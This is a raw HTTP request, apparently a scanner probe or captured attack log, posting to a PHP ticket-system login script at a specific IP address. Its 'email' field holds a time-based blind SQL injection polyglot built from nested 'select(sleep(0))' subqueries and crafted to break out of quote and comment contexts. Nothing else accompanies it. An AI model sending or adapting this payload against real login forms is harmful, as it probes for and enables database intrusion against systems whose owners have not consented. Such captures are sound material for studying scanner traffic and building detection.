POST /tickets_admin/php/login-exec.php HTTP/1.1
Content-Length: 158
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://41.209.28.233/tickets_admin/login.php
Cookie: PHPSESSID=l8h2ufge1mmm7foh3qrm0iq2o5
Host: 41.209.28.233
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

email=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&password=g00dPa%24%24w0rD